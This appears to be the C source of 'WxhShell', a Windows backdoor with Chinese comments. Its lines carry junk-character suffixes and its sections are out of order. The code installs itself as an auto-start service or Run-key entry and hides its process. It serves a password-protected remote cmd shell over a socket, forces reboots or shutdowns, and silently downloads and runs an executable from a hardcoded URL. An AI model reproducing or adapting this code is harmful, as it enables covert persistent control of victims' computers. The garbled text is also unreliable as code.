    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vvw6 GB,M  
    else { * EOIgQp  
    closesocket(wsh); h &9Ld:p  
    ExitThread(0); y6Xfddd61  
    } 8^j u=  
    break; w#k'RuOw5  
    } $A6'YgK  
  // 获取shell VR5$[-E3  
  case 's': { $Hqm 09w  
    CmdShell(wsh); S:{hgi,T*  
    closesocket(wsh); [r_,BH\nu  
    ExitThread(0); m *8[I  
    break; O?NAbxkp  
  } lwPK^)|}  
  // 退出 |0n h  
  case 'x': { l epR}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y ~RPspHW  
    CloseIt(wsh); uc~PKU?tO  
    break; N8:?Z#z  
    } {c|nIwdB  
  // 离开 u9}}}UN!  
  case 'q': { 8m1 @l$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ":?>6'*1  
    closesocket(wsh); @P+k7"f  
    WSACleanup(); @m!~![  
    exit(1); [~?LOH  
    break; A- IpE  
        } Jis{k$4  
  } YMLo~j4J  
  } ;^xlDN  
ftF?T.dx  
  // 提示信息 OM{-^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); By6C+)up  
} NZYtA7  
  } orf21N+[  
RvV4SlZz  
  return; 9 a2Ga   
} N8 }R<3/  
fHYEK~!C04  
// shell模块句柄 K,%H*1YKK  
int CmdShell(SOCKET sock) IJO`"da  
{ "QACQ-  
STARTUPINFO si; hFuS>Hx  
ZeroMemory(&si,sizeof(si)); z~+_sTu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O:Bfbna  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qrO] t\  
PROCESS_INFORMATION ProcessInfo; BIDmZU9tL  
char cmdline[]="cmd"; ^CI.F.#X|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n@{fqj  
  return 0; T^S|u8f  
} _WtX8  
R+8+L|\wHv  
// 自身启动模式 q% )Y  
int StartFromService(void) W&}YM b  
{ l/[@1(F  
typedef struct JT&CJ&#[h  
{ :1eI"])(  
  DWORD ExitStatus; 6#6Ve$Vl]  
  DWORD PebBaseAddress; mN@)b+~(S  
  DWORD AffinityMask; kmNY ;b6Y$  
  DWORD BasePriority; 3lhXD_Y  
  ULONG UniqueProcessId; xeo;4c#S5  
  ULONG InheritedFromUniqueProcessId; A2 qus$  
}   PROCESS_BASIC_INFORMATION; 8,=Ti7_  
4z Af|Je  
PROCNTQSIP NtQueryInformationProcess; EonZvT-D=  
:Y(Yk5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NWNH)O@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +cM;d4  
&1893#V  
  HANDLE             hProcess; D4G*K*z,w4  
  PROCESS_BASIC_INFORMATION pbi; &D[dDUdHs  
KM< +9`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YTQ|Hg6jO  
  if(NULL == hInst ) return 0; D; H</5#Q  
vTQQ d@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *ZyIbT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mJ<rzX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RW48>4f/+  
F*>:~'%  
  if (!NtQueryInformationProcess) return 0; uf\Hh -+p  
>},O_qx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t= "EbPE  
  if(!hProcess) return 0; 7!hL(k[  
Q{b ZD*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f[.RAHjk  
pZ+zm6\$  
  CloseHandle(hProcess); %>Z=#1h/a  
03J,NXs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pK1P-!c  
if(hProcess==NULL) return 0; qi`*4cas*A  
B@e,3:  
HMODULE hMod; }fZT$'*;  
char procName[255]; })g|r9=  
unsigned long cbNeeded; |;6FhDW+'  
/#20`;~F)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5|NM]8^^0[  
l Vo](#W  
  CloseHandle(hProcess); ]o$Kh$~5  
FT/H~|Z>  
if(strstr(procName,"services")) return 1; // 以服务启动 Dd<gYPC  
idvEE6I@  
  return 0; // 注册表启动  UB&ofO  
} b.47KJzt  
IpGq_TU  
// 主模块 fC.-* r  
int StartWxhshell(LPSTR lpCmdLine) 4o9#B:N]J  
{ hz<kR@k}  
  SOCKET wsl; hUSr1jlA  
BOOL val=TRUE; WTA0S}pT  
  int port=0; wWY6DQQB  
  struct sockaddr_in door; iBwl(,)?m2  
l6Ze6X I  
  if(wscfg.ws_autoins) Install(); ?JzLn,&  
x% k4Lm  
port=atoi(lpCmdLine); Ig"Krz  
5oGnPF  
if(port<=0) port=wscfg.ws_port; pwT|T;j*  
>wej1#\3  
  WSADATA data; kGc;j8>."  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SEr\ u#  
2U2=ja9:Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '|':W6m,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YTL [z:k}  
  door.sin_family = AF_INET; D@^ r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {Mp>+e@xx  
  door.sin_port = htons(port); yC =5/wy`  
] ?#f=/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YUfuS3sX}  
closesocket(wsl); Z$X2*k6PK  
return 1; BqvOi~ l  
} )_ NQ*m  
$.R$I&U  
  if(listen(wsl,2) == INVALID_SOCKET) { r&A#h;EQX2  
closesocket(wsl); 3lM mSKN  
return 1; g v&xC 6>  
} 3*CF!Y%  
  Wxhshell(wsl); <\8dh(>  
  WSACleanup(); Yt++  ?  
;EW]R9HCH  
return 0; 93kSBF#  
 h#^IT  
} @NlnZfMu  
QL-((dZ<  
// 以NT服务方式启动 {[hV ['Awv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !vr">@}K  
{ /(BQzCP9O;  
DWORD   status = 0; V7N8m<Tf  
  DWORD   specificError = 0xfffffff; U;i:k%Bzy  
pTOS}A[dh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?q7V B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t2BkQ8vr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {O5;V/00}  
  serviceStatus.dwWin32ExitCode     = 0; f6PXcV  
  serviceStatus.dwServiceSpecificExitCode = 0; 64#~p)  
  serviceStatus.dwCheckPoint       = 0; McNj TD  
  serviceStatus.dwWaitHint       = 0; vs{i2!^  
RxAWX?9Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^.mQ~F  
  if (hServiceStatusHandle==0) return; <6mXlK3N0  
 %3KWc-  
status = GetLastError(); 1'"o; a]k/  
  if (status!=NO_ERROR)  L/%3_,  
{ ~4=4Ks0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &1F)/$,v  
    serviceStatus.dwCheckPoint       = 0; _{_LTy%[  
    serviceStatus.dwWaitHint       = 0; nFzhj%Pt;  
    serviceStatus.dwWin32ExitCode     = status; Up`$U~%-  
    serviceStatus.dwServiceSpecificExitCode = specificError; k^ B'W{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4sSQ nK  
    return; !Lb9KDk  
  } Kk!D|NKLC  
t.j q]L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R7KHfXy'm  
  serviceStatus.dwCheckPoint       = 0;  kej@,8  
  serviceStatus.dwWaitHint       = 0; bo <.7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l4O}>#  
} I=x   
pHsp]a  
// 处理NT服务事件,比如:启动、停止 %~4R)bsJ'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B:n9*<v(  
{ $A7[?Ai ?  
switch(fdwControl) ='pssdB  
{ M86v  
case SERVICE_CONTROL_STOP: pA!+;Y!ZB<  
  serviceStatus.dwWin32ExitCode = 0; |5F]y"Nb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  []1VD#  
  serviceStatus.dwCheckPoint   = 0; RA+Y./*h  
  serviceStatus.dwWaitHint     = 0; CP7Zin1S/w  
  { AXH4jQw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]QtdT8~  
  } xHJ+!   
  return; /6gqpzum4  
case SERVICE_CONTROL_PAUSE: )KaQ\WJ:   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JR$Dp&]I  
  break; )qn =  
case SERVICE_CONTROL_CONTINUE: NrgN{6u;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3.Ni%FF`  
  break; qX0IHe  
case SERVICE_CONTROL_INTERROGATE: I:]s/r7  
  break; Vd)iv\a  
}; e&8pTD3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S@Yb)">ZQ  
} JXftQOn  
ah"2^x  
// 标准应用程序主函数 EqUiC*u8{I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :QUZ7^u  
{ Dd!MG'%hlb  
gpHI)1i'H  
// 获取操作系统版本 o8KlY?hX  
OsIsNt=GetOsVer(); ]0 ouJY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [@rZ.Hsl  
$* b>c:  
  // 从命令行安装 b-M[la}1"  
  if(strpbrk(lpCmdLine,"iI")) Install(); $Z+N*w~8  
>>(2ZJ  
  // 下载执行文件 _Y|k \|'  
if(wscfg.ws_downexe) { 4oT2 5VH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pk}*0Y-  
  WinExec(wscfg.ws_filenam,SW_HIDE); T d4/3k  
} KVtnz  
{h&*H[Z z  
if(!OsIsNt) { yIXM}i:  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^(N+s?  
HideProc(); "0`r]5 5d  
StartWxhshell(lpCmdLine); feIAgd},  
} wx}\0(]Gl  
else =(Mv@eA"  
  if(StartFromService()) ~)tMR9=wX  
  // 以服务方式启动 OrPIvP<w@  
  StartServiceCtrlDispatcher(DispatchTable); H3QAIsGS  
else \ CV(c]  
  // 普通方式启动 WT'P[RU2  
  StartWxhshell(lpCmdLine); lLmVat(  
qnrf%rS  
return 0; +z>*m`}F  
} 5}*aP  
6\\B{%3R2  
> :!faWX  
z\_q`43U7  
=========================================== $SG^, !!&A  
qq[2h~6P]  
,":"Op61  
 Tx/  
 Ca@[]-_H  
>]T(}S~  
" +3s i=x\=/  
[5)1 4% x  
#include <stdio.h> :&6QKTX  
#include <string.h> &5(|a"5+G  
#include <windows.h> ]AERi] B  
#include <winsock2.h> pF K[b  
#include <winsvc.h> z+PSx'#}  
#include <urlmon.h> _f|Au`7m  
D<L]'  
#pragma comment (lib, "Ws2_32.lib") C(?>l.QGw  
#pragma comment (lib, "urlmon.lib") ;)0vxcMB  
kQ.atr`?e  
#define MAX_USER   100 // 最大客户端连接数 /:ma}qG y  
#define BUF_SOCK   200 // sock buffer NZ{kjAd3c  
#define KEY_BUFF   255 // 输入 buffer W$:;MY>0f  
%lv2;-  
#define REBOOT     0   // 重启 JF: QQ\  
#define SHUTDOWN   1   // 关机 cp0>Euco=  
8Dhq_R'r  
#define DEF_PORT   5000 // 监听端口 eJ'2 CM6  
x"8(j8e  
#define REG_LEN     16   // 注册表键长度 mC>7l7%  
#define SVC_LEN     80   // NT服务名长度 7Ar4:iNvX  
TjD`< k  
// 从dll定义API %j2YCV7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eK/[jxNO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U QXT&w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JP!$uK{u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7<IrN\@U  
bxkp9o  
// wxhshell配置信息 FxM`$n~K  
struct WSCFG { HY5g>wv@  
  int ws_port;         // 监听端口 [Gh T.  
  char ws_passstr[REG_LEN]; // 口令 MyCX6+Ci)  
  int ws_autoins;       // 安装标记, 1=yes 0=no @,M!&l  
  char ws_regname[REG_LEN]; // 注册表键名 P8DJv-f`  
  char ws_svcname[REG_LEN]; // 服务名 {* >$aI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^5=}Y>EJO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0J@)?,V-.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \ts:'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G{+sC2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =zqOkC h$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PS`)6yn{_  
ghbxRnU}  
}; n$5,B*  
a3HT1!M)  
// default Wxhshell configuration &p8K0 |  
struct WSCFG wscfg={DEF_PORT, LNXhzW   
    "xuhuanlingzhe", MCL?J,1?r  
    1, B964#4& 9  
    "Wxhshell", [m3G%PO@Da  
    "Wxhshell", ^:{l~~9iKp  
            "WxhShell Service", jBI VZ!X  
    "Wrsky Windows CmdShell Service", w^G<]S {l  
    "Please Input Your Password: ", }`f%"Z  
  1, )w;XicT  
  "http://www.wrsky.com/wxhshell.exe", q6H90Zb  
  "Wxhshell.exe" !rTh+F*  
    };  $Jb+}mlT  
W zy8  
// 消息定义模块 NkNw9?:#4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bi#o1jR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o2a`4K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q&`$:h.~  
char *msg_ws_ext="\n\rExit."; ^tc@bsUF  
char *msg_ws_end="\n\rQuit."; {r[ *}Bv  
char *msg_ws_boot="\n\rReboot..."; WZ6!VE {  
char *msg_ws_poff="\n\rShutdown..."; g B+cU  
char *msg_ws_down="\n\rSave to "; Z%(aBz7Et  
{Swou>X4  
char *msg_ws_err="\n\rErr!"; i @+Cr7K,  
char *msg_ws_ok="\n\rOK!"; ? Ew>'(Q  
>9<h?F%S  
char ExeFile[MAX_PATH]; r^WO$u|@i  
int nUser = 0; <X|"5/h  
HANDLE handles[MAX_USER]; 2x$\vL0  
int OsIsNt; (tyo4Tz1  
(V{bfDu&h@  
SERVICE_STATUS       serviceStatus; r{>tTJFD(:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >/5D/}4  
;`X-.45  
// 函数声明 kl3#&>e  
int Install(void); dE/Vl/:  
int Uninstall(void); 5_G7XBvD/w  
int DownloadFile(char *sURL, SOCKET wsh); kW6}57iV  
int Boot(int flag); 53BXz= k  
void HideProc(void); CM9+h;Zm  
int GetOsVer(void); &>L\unS  
int Wxhshell(SOCKET wsl); ,o*b-Cv/  
void TalkWithClient(void *cs); uDH)0#  
int CmdShell(SOCKET sock); <JF78MD\  
int StartFromService(void); #vLDNR  
int StartWxhshell(LPSTR lpCmdLine); rIW`(IG_  
;X|;/@@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zr84%_^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KW+^9&lA  
F4kU) i  
// 数据结构和表定义 &rcr])jg[  
SERVICE_TABLE_ENTRY DispatchTable[] = W 86S)+h  
{ 'qQ DM_+  
{wscfg.ws_svcname, NTServiceMain}, !Aunwq^  
{NULL, NULL} }-: d*YtK  
}; () b0Sh=  
=*8"ci $  
// 自我安装 !QcgTW)T  
int Install(void) lS XhHy  
{ }! zjj\g^  
  char svExeFile[MAX_PATH]; W!XFaA$  
  HKEY key; 7D9R^\K  
  strcpy(svExeFile,ExeFile); r-4I{GPb  
0 I;>du  
// 如果是win9x系统,修改注册表设为自启动 "9kEqz4a  
if(!OsIsNt) { c?jjY4u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;PG'em  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); clG3t eC  
  RegCloseKey(key); 4sNM#]%|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4J94iI>S.l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jD H)S{k  
  RegCloseKey(key); I`Rxijz  
  return 0; )bPNL$O  
    } u`E_Q8  
  } Q`r1pO  
} O=c&  
else { Axj<e!{D  
m_\CK5T_  
// 如果是NT以上系统,安装为系统服务 rUx%2O|qu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3Y=T8Gi#  
if (schSCManager!=0) OjrQ[`(E  
{ MW'z*r|,  
  SC_HANDLE schService = CreateService ^6J*yV%  
  ( =jg!@H=_i  
  schSCManager, Y*wbFL6`  
  wscfg.ws_svcname, i,;Q  
  wscfg.ws_svcdisp, .}Bb :*@  
  SERVICE_ALL_ACCESS, -cY /M~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0A5xG&  
  SERVICE_AUTO_START, "=4=Q\0PT  
  SERVICE_ERROR_NORMAL, w$61+KHK  
  svExeFile,  b$rBxe\  
  NULL, zx=A3I%7 A  
  NULL, 1REq.%/=  
  NULL, Gp32\^H|<  
  NULL, 2z )h,<D  
  NULL RR`?o\  
  ); V!]e#QH;  
  if (schService!=0) -#rFCfPy^  
  { &W.tjqmw  
  CloseServiceHandle(schService); 1(On.Y=   
  CloseServiceHandle(schSCManager); ~)oC+H@{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6JK;]Ah  
  strcat(svExeFile,wscfg.ws_svcname); =YLt?5|e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L d#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mN@0lfk;  
  RegCloseKey(key); !ZSC"  
  return 0; hDmVv;M:  
    } ='soSnT  
  } AbcLHV.  
  CloseServiceHandle(schSCManager); J0o U5d=3  
} _ogT(uYyr  
} 60X B  
;&JMBn]J  
return 1; W{ Nhh3  
} ukG1<j7.  
VMen:  
// 自我卸载 v6oZD;;~  
int Uninstall(void) ^@{'! N  
{ 63:ZDQ  
  HKEY key; pjbKMx  
}o)GBWqHR  
if(!OsIsNt) { n6|}^O7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mRQ F5W6  
  RegDeleteValue(key,wscfg.ws_regname); L$7v;R3  
  RegCloseKey(key); D }b+#G(m[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7p u*/W~  
  RegDeleteValue(key,wscfg.ws_regname); LR9dQ=fHS  
  RegCloseKey(key); BT`/O D@  
  return 0; $XT&8%|*7  
  } Vfc 9 +T+  
} E37`g}ZS  
} xwK<f6H!y  
else { W&+UF'F2  
(`>4~?|+T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )O2^?Q quS  
if (schSCManager!=0) kw=+"U   
{ (VBoZP=W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sVh!5fby&  
  if (schService!=0) '<1T>|`/t  
  { 3+n&Ya1  
  if(DeleteService(schService)!=0) { =>S5}6  
  CloseServiceHandle(schService); OmKT}D~ 4  
  CloseServiceHandle(schSCManager); [@>Kd`!'  
  return 0; L & PhABZ  
  } o @&#*3<_e  
  CloseServiceHandle(schService); q;B-np?U  
  } |? r,W ~9`  
  CloseServiceHandle(schSCManager); c#CX~  
} ; [dcbyu@  
} >@T ZYdl  
!>t |vgW  
return 1; rJ!xzge;G  
} UXIq>[2Z1  
c*1B*_08  
// 从指定url下载文件 3(FJ<,"D}  
int DownloadFile(char *sURL, SOCKET wsh) 7%)4cHZ^$?  
{ 0YIvE\-  
  HRESULT hr; )(75dUl  
char seps[]= "/"; 7b'XQ/rs  
char *token; `n5|4yaG~  
char *file; a*%>H(x  
char myURL[MAX_PATH]; Ce`{M&NSWX  
char myFILE[MAX_PATH]; jsi\*5=9p<  
*W# x#0j  
strcpy(myURL,sURL); D%Pq*=W  
  token=strtok(myURL,seps); PlBT H  
  while(token!=NULL) 'SOp!h$  
  { fE_QB=9 cz  
    file=token; ApS/,cV  
  token=strtok(NULL,seps); P8;|>OLZ)  
  } )+cP8$n6L  
2/>AmVM  
GetCurrentDirectory(MAX_PATH,myFILE); ,v)@&1Wh:  
strcat(myFILE, "\\"); .sjM$#V=  
strcat(myFILE, file); z@<`]  
  send(wsh,myFILE,strlen(myFILE),0); O`|'2x{[O  
send(wsh,"...",3,0); ]S%qfna e1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F=d#$-yg  
  if(hr==S_OK) ds7I .Q'  
return 0; 2ht<"  
else {!6!z,  
return 1; X g.\B1d  
Ibpk\a?A{  
} G9}[g)R*  
qw"`NubX  
// 系统电源模块 :5h&f  
int Boot(int flag) l'-iIbKX  
{ ogjm6;  
  HANDLE hToken; H={fY:%  
  TOKEN_PRIVILEGES tkp; T#er5WOH  
 l R;<6  
  if(OsIsNt) { 1 ht4LRFi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nm\n\j~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xNq&_oY7  
    tkp.PrivilegeCount = 1; F/@#yQv?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N:gS]OI*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JUwP<C[  
if(flag==REBOOT) { (lEWnf=2h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7{<t]wQq  
  return 0; "&L<u0KHG  
} yUEUIPL  
else { {b]WLBy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d \0K 3=h  
  return 0; _!w# {5~  
} Ak>RLD25_  
  } =X-$k k  
  else { 0~n= |3*P  
if(flag==REBOOT) { CBi V':;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ig5J_Z^]b  
  return 0; D2?~03c  
} f+L )x  
else { #4d 0/28b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ab3" ?.3m  
  return 0; ScM2_k`D  
} F"a,[i,[W  
} 1a#wUd3  
zPhNV8k-  
return 1; LH<--#K  
} c#U x{^ZE  
8!:4m"Y  
// win9x进程隐藏模块 nLo:\I(  
void HideProc(void) mN ~;MR;  
{ C5;"mo-  
~_^nWT*BV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b/ ~&M+)  
  if ( hKernel != NULL ) ]iPTB  
  { R,6?1Z:J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EeL~`$f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !~>u\h  
    FreeLibrary(hKernel); qK(? \ t$  
  } S }fIZ1  
6=|Q>[K  
return; M{hA`  
} '4N[bRCn  
 (lt/ t  
// 获取操作系统版本 U/{cYX  
int GetOsVer(void) )RA7Y}e|m  
{ ]+fL6"OD/2  
  OSVERSIONINFO winfo; ){8^l0b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~#) DJ  
  GetVersionEx(&winfo); ^H&6'A`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]9b*!n<z  
  return 1; H( cY=d,  
  else #?8'Z/1 )  
  return 0; p?6w/n  
} OP``g/x)  
`q4\w[0+p  
// 客户端句柄模块 Lo9+#ITyx  
int Wxhshell(SOCKET wsl) ^Z\1z!{R  
{ kdg Q -UN$  
  SOCKET wsh; 3#5sj >  
  struct sockaddr_in client; lC^q}Bh:  
  DWORD myID; K<\TF+  
>f}rM20Vm  
  while(nUser<MAX_USER) c AIS?]1  
{ Uv5E$Y"e10  
  int nSize=sizeof(client); !U=;e?o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fvi<5v  
  if(wsh==INVALID_SOCKET) return 1; :c<C;.  
mezP"N=L~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )UN@|IX  
if(handles[nUser]==0) D Q~+\  
  closesocket(wsh);  UIhB  
else //| 9J(B]  
  nUser++; >&Bg F*mm  
  } \s+ <w3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ` YIpZ rB  
1.jW^sM  
  return 0; [R& P.E7w'  
} fa"eyBO50  
RwY) O5  
// 关闭 socket &eg]8kV  
void CloseIt(SOCKET wsh) |V:k8Ab  
{ gp(w6 :w  
closesocket(wsh); }2JSa8  
nUser--; "&v?>  
ExitThread(0); I,t 0X)  
} oX!s u  
$6ITa}o  
// 客户端请求句柄 KRm4r  
void TalkWithClient(void *cs) >Li ~Og@  
{ rZGA9duy  
>(d+E\!A  
  SOCKET wsh=(SOCKET)cs; vhKeW(z  
  char pwd[SVC_LEN]; D:%$a]_f  
  char cmd[KEY_BUFF]; ^c.b@BE  
char chr[1]; Q_M2!qj  
int i,j; Gvj@?62  
>TK`s@jdSV  
  while (nUser < MAX_USER) { [o> /2  
pE15[fJ`  
if(wscfg.ws_passstr) { jS| (g##4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `^|mNh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $]Y' [pE@  
  //ZeroMemory(pwd,KEY_BUFF); a08B8  
      i=0; N!Kd VDdT|  
  while(i<SVC_LEN) { 574 b]  
M!mTNIj8~  
  // 设置超时 A5 8i}G9  
  fd_set FdRead; z?FZu,h}  
  struct timeval TimeOut; @CWfhc-Ub  
  FD_ZERO(&FdRead); 'pZ~3q  
  FD_SET(wsh,&FdRead); ~hP[[?  
  TimeOut.tv_sec=8; ]Jv Z:'g}  
  TimeOut.tv_usec=0; .L6t3/^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7.akp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )M^;6S  
b]CJf8'u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =a7m^e7  
  pwd=chr[0]; aLhTaB-va  
  if(chr[0]==0xd || chr[0]==0xa) { zKgW9j<(  
  pwd=0; LF{qI?LG  
  break; )pJ}o&J  
  } P),%S9jP;  
  i++; NL2n\%n  
    } H+_oK ]/  
x"U/M ?l  
  // 如果是非法用户,关闭 socket 213D{#2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s9O] tk  
} zXZy:SD  
:sM|~gT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ("mW=Ln  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G{ F>=z"(l  
r_ r+&4n  
while(1) { 2c9@n9Vx3a  
{`l]RIig  
  ZeroMemory(cmd,KEY_BUFF); I caIB)  
f{^n<\Jh  
      // 自动支持客户端 telnet标准   ( |O;Ci  
  j=0; 0qJ 3@d  
  while(j<KEY_BUFF) { x{Gih 1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zM[WbB+"m  
  cmd[j]=chr[0]; [o|]>(tk  
  if(chr[0]==0xa || chr[0]==0xd) { ^k u~m5v  
  cmd[j]=0; hFQC%N. '  
  break; 2NE/ZqREg  
  } -cIc&5CS  
  j++; 6^|bKoN/ f  
    } `qs'={YtU  
F)v+.5T1  
  // 下载文件 g/V C$I!'  
  if(strstr(cmd,"http://")) { cDE?Xo'!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '!IX;OSjH  
  if(DownloadFile(cmd,wsh)) Fd|:7NRA<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B(b[Dbb  
  else F KL}6W:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "D@m/l  
  } REFisH-  
  else { ~V5k  
ho^1T3  
    switch(cmd[0]) { 0!+ab'3a  
  dbnH#0i  
  // 帮助 <8-I:o]mF  
